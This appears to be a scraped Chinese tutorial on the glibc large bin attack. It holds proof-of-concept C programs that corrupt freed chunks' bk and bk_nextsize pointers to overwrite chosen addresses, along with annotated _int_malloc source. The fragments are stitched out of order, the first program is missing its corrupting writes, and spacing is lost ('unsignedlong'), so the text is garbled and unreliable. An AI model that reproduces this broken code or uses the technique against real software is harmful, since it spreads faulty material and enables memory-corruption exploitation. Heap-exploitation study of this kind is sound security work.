free(ptr2); //C free(ptr3); //D free(ptr0); //A free(ptr1); //B free(ptr7); //H free(ptr6); //G free(ptr5); //F free(ptr4); //E gap = malloc(0x480); //trigger that sort largebin from unsorted bin to largebins
return0; }
image-20220301204056436
image-20220301210420441
image-20220301210435991
可以看到不同的size会形成堆头,通过堆头的fd_nextsize与bk_nextsize指向比它小或大的堆头,按照从大到小的顺序,而相同的堆块则会链入到相应的堆头之中。而fd与bk在不同size的堆块间也是指向比它小或大的堆块,也是按照从大到小的顺序,而在相同size的堆块内则是按照先释放的在链表后面的排序,最终指向main_arena的一个地址,把所有 large chunk 串起来。
/* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); //找到申请的size对应的largebin链表
/* skip scan if empty or largest chunk is too small */ if ((victim = first (bin)) != bin && (unsignedlong) (victim->size) >= (unsignedlong) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size { victim = victim->bk_nextsize; while (((unsignedlong) (size = chunksize (victim)) < (unsignedlong) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环 victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。 victim = victim->fd;
printf("This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); printf("In practice, large bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
printf("Let's first look at the targets we want to rewrite on stack:\n"); printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1); printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsignedlong *p1 = malloc(0x420); printf("Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the first large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p2 = malloc(0x500); printf("Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the second large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p3 = malloc(0x500); printf("Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
printf("And allocate another fastbin chunk in order to avoid consolidating the top chunk with" " the third large chunk during the free()\n\n"); malloc(0x20);
free(p1); free(p2); printf("We free the first and second large chunks now and they will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90); printf("Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation" ", and reinsert the remaining of the freed first large chunk into the unsorted bin:" " [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3); printf("Now, we free the third large chunk and it will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); printf("Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk" " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and" " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
printf("Let's malloc again, so the freed third large chunk being inserted into the large bin freelist." " During this time, targets should have already been rewritten:\n");
当执行malloc(0x48)时,程序会遍历 unsorted bin 并将 unsorted bin 中的 chunk 取下插入到相应的块中,首先将B取下,此时unsorted bin attack触发,B的bk指向evil_addr,将B从unsorted bin中取下之后,unsorted bin的bk指向了evil_addr。
intmain(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n"); printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n"); printf("Check 1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("Check 2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("This prevents the traditional large bin attack\n"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
size_t target = 0; printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target); size_t *p1 = malloc(0x428); printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418); printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); size_t *g2 = malloc(0x18); printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1); printf("Free the larger of the two --> [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2); printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4); printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438); printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); printf(" the modified p1->bk_nextsize does not trigger any error\n"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); printf("Target (%p) : %p\n",&target,(size_t*)target);